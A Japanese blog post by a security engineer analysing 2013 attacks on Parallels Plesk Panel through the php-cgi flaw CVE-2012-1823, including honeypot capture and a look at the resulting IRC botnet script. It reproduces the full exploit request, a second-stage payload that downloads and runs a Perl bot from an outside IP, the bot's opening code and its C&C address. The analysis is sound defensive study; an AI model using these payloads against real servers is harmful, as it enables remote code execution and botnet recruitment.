Parallels Plesk Panelの脆弱性と、/phppath/phpでどういう悪さがされるのか

最近、Apacheアクセスログに、以下のような長いPOSTをされた形跡が残っている。結構な広範囲に来ているので、皆さんも見たことあるんじゃないでしょうか。

114.141.196.28 - - [01/Aug/2013:11:01:22 +0900] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"

長すぎて分かりにくいので、途中で折り返したものがこちら。

114.141.196.28 - - [01/Aug/2013:11:01:22 +0900] "POST /%70%68%70%70%61%74%68/
%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E
+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E
%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66
%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72
%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D
%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"

これが個人的に使っているさくらのVPSにも来ていたので、今回はこのアクセスのお話。題して、「Plesk PHP脆弱性で悪いことしようとしている人たちは、何をどうやってどう悪さをしようとしているのか、調べてみた」。

Parallels Plesk Panelの脆弱性

まず結論から言うと、上記のログはParallels Plesk Panelというサーバ管理ツールの脆弱性(http://jvn.jp/cert/JVNVU90102556/)を狙ったアクセスであり、PP 9.0 - 9.2.3がvublnerableである。脆弱性を持ったParallels Plesk Panelをスキャンするために、このようなアクセスでスキャンしているわけだ。

しかしこのアクセス、背景の事情が色々とややこしいので以下順番に説明する。なおParallels Plesk Panelを入れていなければ、基本的にこのアクセスは無害なので気にしなくて良いです。

URLエンコードをほどく

まず、先ほどの不審なアクセスは全体がURLエンコードされていて分かりにくいので、デコードしてみよう。すると以下のようなリクエストになる。ついでに分かりやすいように改行しました。

POST /phppath/php?-d allow_url_include=on
-d safe_mode=off
-d suhosin.simulation=on
-d disable_functions=""
-d open_basedir=none
-d auto_prepend_file=php://input
-n

おお、なんだか怪しい感じのコマンドになったぞ。

/phppath/phpとは何か

さて、Parallels Plesk Panelの昔のバージョンは、同梱されているApacheが以下のような設定になっていた。

scriptAlias /phppath/ /usr/bin/

な、なんという豪快な……という感じだが、PHPを使うためにこんな荒技を使っていたようだ。そしてParallels Plesk Panelに同梱されていたPHPが、後に脆弱性が見つかるCGI版のPHPであったため、これが悲劇を招くことになる。

この脆弱性は、CVE-2012-1823として、Parallels Pleck Panelとは関係なく2012年5月頃に結構話題になったものだ。CGIPHPでしか効果が無いという限定的な条件ながらも、その影響がすさまじい(ソースコードの漏洩、任意のPHPコード実行)のであちこちで悪用された。

さきほどのリクエストパラメタを見ると、この辺がキモとなっている。

  • -d allow_url_include=on
  • -d auto_prepend_file=php://input

まず、allow_url_include=onとすることで、外部からファイルをインクルードすることを可能とする。そしてauto_prepend_file=php://input が凶悪で、これでHTTPでPOSTされたボディ部を、そのままPHPスクリプトとしてインクルードして実行できることになる。もっと詳細が知りたければ、徳丸先生の記事が参考になります(http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html)。

つまり、POSTされたファイルそのものをPHPスクリプトとしてサーバサイドで実行できてしまうという、クラッカーにとっては極上の環境だ。通常、対象サーバ上で任意のPHPスクリプトを実行させるためには、インジェクションやらFTPパスワード盗むやらとあれやこれやの苦労が必要なのに……こんなに簡単にできるんならそりゃ飛びつく。こんな金鉱は他に無い、ということで狙われ続けているようだ。

アクセス元情報

さて、うちのVPSに来たアクセスをまとめて、ソースIPアドレスで見てみると以下のようになった。いくつか面白い情報が見て取れると思う。

アクセス日時 ソースIPアドレス 逆引きしたホスト名 国名
01/Jul/2013:01:30:21 74.208.202.77 u16950462.onlinehome-server.com アメリ
08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール
19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ
24/Jul/2013:18:06:52 62.148.186.34 62-148-186-34-hosted-by.denit.net オランダ
31/Jul/2013:18:46:17 66.160.128.164 (なし) アメリ
01/Aug/2013:11:01:22 114.141.196.28 svr1.gardenexpress.com.au オーストラリア
08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ

まず多少のズレはあったものの、攻撃は週1回しか行われない。接続元のIPアドレスはバラバラで、予想に反して中国は無くアメリカ・ヨーロッパ諸国が多い。なお国名は、ip2countryを利用して判断した。

ちなみに最後のbceco.cdはなんだろう? ドメインコンゴのようだ。

不正アクセスの詳細

これだけで終わってはただの説明なので、腐ってもセキュリティエンジニアとして名乗る以上、もう少し突っ込んで実験してみよう。ログを見てみると、攻撃者は何かをPOSTしている……当然、これは攻撃先のサーバで実行したいPHPスクリプトだろう。何を実行したくてPOSTしているのか、ぜひとも中身を見てみたい。

というわけで、tcpdumpを仕込んで3日ほど放置してみたところ運良く釣れた。

そして以下がそのPOSTの中身である……む、中身はほんの1行のPHPスクリプトか。

POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 49.212.197.88
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

<?php echo "Content-Type:text/html\r\n\r\n";echo "___2pac\n"; ?>

見て分かる通り、中身はechoしているだけのPHPスクリプト。おそらくこれは準備行動で、レスポンスにこの文字列 "___2pac\n" が入っていたら脆弱性アリと判断して、その後に本格的な攻撃をしかけてくるのだろう。

ちなみにこれで少しググったところ、pastebinに攻撃スクリプトがあった。

たぶんこれをそのまま使ってるんだろな。

2pacって何?

ここでちょっと脇道にそれて、脆弱性があるかどうかの判断に使われている"2pac"とは何かについて推察しよう。

と言ってもこれはもう、アメリのヒップホップの帝王、2Pacのことだろう。警官を狙撃するわ、自身も銃で何度も撃たれるわ、レイプ疑惑で刑務所入りするわ、そして最後は銃撃のため25歳で死亡……という、ヒップホップ界では伝説的な存在である。さらに余談を入れると、そのPV「California Love」はとてもカッコいい。

じゃぁなんでここで2Pacか、と言えば、まぁ最初にこれを作った人が好きだったんじゃないかな。昔にDEFCONに行った時に思ったけど、この業界の深みにちょっと入ろうとすると、サブカル文化とスラング英語は欠かせない。DEFCONの講演でも、スラングが多くてよく分からないことが多々あった。

日本で言えば、2ちゃんねらーが「今北産業」「さくらタンのエロ画像キボンヌ」「田代砲つぎどっち?」とか書かれているのを、日本語を母語としない英語圏の人が理解しようとしても至難の業だろう。つまりはそういうことだ。

おとりのレスポンスCGIを設置

というわけで、攻撃者はレスポンスとして "___2pac\n" と返すサーバを探し回っていることが分かった。そこで、POSTされたらなんでもかんでもレスポンスボディに "___2pac\n" と返すCGIを設置して、ハニーポットもどきとしてみよう。

/phppath/php へのPOSTリクエストを、ApacheRewriteして以下のようなCGIに振ってみた。これで次の攻撃の様子を観察することができるぞ!

#!/usr/bin/perl

print "Content-Type:text/html\r\n\r\n";
print "___2pac\n";

あとは忍耐だ。もう一度、/phppath/php にPOSTされることを望んで待ち続ける。待つこと4日ほど、ようやくまたリクエストが来た。そしてこちらで上記CGIが ___2pac を返すと、すぐに(1秒もおかずに)攻撃本体のPHPを送り込んできた。

2pacの後に送りつけられる攻撃コード

以下が、サーバサイドで実行させるべくPHPを送り込んでくるリクエストである。

POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: 49.212.197.88
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Content-Type: application/x-www-form-urlencoded
Content-Length: 189

<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("crontab -r;cd /tmp;rm -fr bpn*;wget http://188.165.242.15/bpn -q;perl bpn >/dev/null 1>/dev/null 2>/dev/null;rm -fr bpn*");?>

大変興味深いことにこのリクエストは、echo "___2pac\n"; を送りつけてきたリクエストから1秒も遅れずにやってきたが、ソースIPは全く別だった。以下がその時のアクセスログで、ひとつめが2pacリクエスト、ふたつめが攻撃本体のリクエストである。

67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "-"
210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST /%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

上記がその際のApacheのログである(見やすくするためにリクエストURLを省略しました)。2pacが返ってくるためPHP実行できるんだな、と続けて攻撃してくるが、それには1秒も間が空かない。しかも来たのは 210.188.206.176 、これをWHOISで引くと……なんとSAKURA INTERNETである。

私はこれをさくらのVPSで動かしているのだが、ただの偶然だろうか? それとも、もしや攻撃者は、攻撃対象ホストに近いサーバからアタックするようなロジックを作っているのかしら? まぁ推測しかできないので、これはとりあえず置いておく。

またPOSTする際、なぜかUserAgentをGooglebotだと偽装してやってくる。これは意味がよく分からない、だったら最初の2pacリクエストもGooglebotにすればいいのに、とか思ってしまうが (^^; 。おそらく、どこぞの元ネタをコピペしてきてその名残なのだろう。

POSTされるPHP攻撃コード

リクエストボディに入っている部分を、そのままだと見づらいので適宜改行とスペースを入れたのが以下である。

<?php
 echo "Content-Type:text/html\r\n\r\n";
 echo "OK\n";
 system("crontab -r;
    cd /tmp;
    rm -fr bpn*;
    wget http://188.165.242.15/bpn -q;
    perl bpn >/dev/null 1>/dev/null 2>/dev/null;
    rm -fr bpn*");
?>

何やら、bpnというPerlスクリプトをダウンロードして実行させるようだ。また、最初に "crontab -r" しているが、これを実行するとユーザ設定のcronが消え失せる。これの意図はよく分からない。

というわけで、さっそくこのbpnというスクリプトを手でwgetしてみると、あっさりダウンロードできた。以下のようなPerlスクリプトである。かなり長いので冒頭部分だけ紹介します。

#!/usr/bin/perl
my $processo =("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");

my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='3';
my $sleep='7';
my @adms=("LaCannA","amd-64bit" );
my @hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok");
my @canais=("#coffeeshop");
chop (my $nick = `uname`);
my $ircname =("weed");
my $realname = ("mary");
$servidor="209.20.83.28" unless $servidor;
my $porta='53';
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

なんだかいろいろとツッコミどころは多いのだが、$servidor で定義されたC&CサーバにIRC接続して、よそを攻撃するbotとなるスクリプトのようだ。ここには載せていないが、この後にudpflooder()とかtcpflooder()というサブルーチンが出てくる。全部を載せると長くなるので、このスクリプトの解説はまたの機会にしよう。興味のある方のため、以下のURLに、中身を貼り付けておきました。

さて、C&Cサーバ(Command & Control サーバ)として使われているポート番号は53だった。さっそく某環境から接続してみよう。

$ telnet 209.20.83.28 53
Trying 209.20.83.28...
Connected to 209-20-83-28.static.cloud-ips.com.
Escape character is '^]'.
:irc.sudominio.org NOTICE AUTH :*** Looking up your hostname...
:irc.sudominio.org NOTICE AUTH :*** Found your hostname

お、まだ稼働してた。これ以上突っつくのは怖いし、そもそも不正アクセス禁止法に触れそうなのでやめておこう。

なお、このPerlスクリプトの原型は元々この業界では古くから有名で、漠然とPerlbotと呼ばれているようだ。以下のSANSのページに掲載されている。

今回拾ったモノはこれからいくつかカスタマイズされているようだった。途中に、以下のようなコメントが入っていた。

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

まとめ

というわけで、今回の攻撃をまとめると以下のような図になる。

まぁ、ボットネット動向なんかを解説するのによく出てくる図に似ている。ただ、昔は各ノードは一般ユーザのPCだったのが、最近のクラウド流行りのせいで、ほとんどがクラウド上のサーバになってしまっているのが気になる。本当に野良サーバが増えたんだなぁ……。

ボットネットの構築には、管理の甘い一般ユーザのPCより、これからは管理の甘いクラウドサーバの方が狙われていくのだろう。というか既にそうなっている。ということで終わり。

おまけ:このスクリプトを書いたのはどこの国の人

先ほどのPerlbotスクリプトだが、ソースコードを見ていると変数名などが英語では無いことに気がつく。たとえばプロセスは$processo、サーバはserverではなく$servidorである。

どうやらスペイン語ポルトガル語のようだが……この二つの言語は単語が同じものも多く、似ていて判別が難しい。しかし、実はポート番号をどう書いているかで分かる。portのことを、スペイン語ではPuerto、ポルトガル語ではPortaと呼ぶ。

先のbpnスクリプトでは、以下のようになっていた。

my $porta='53';

どうやら、ポルトガル語を話す人が作ったようだ :-)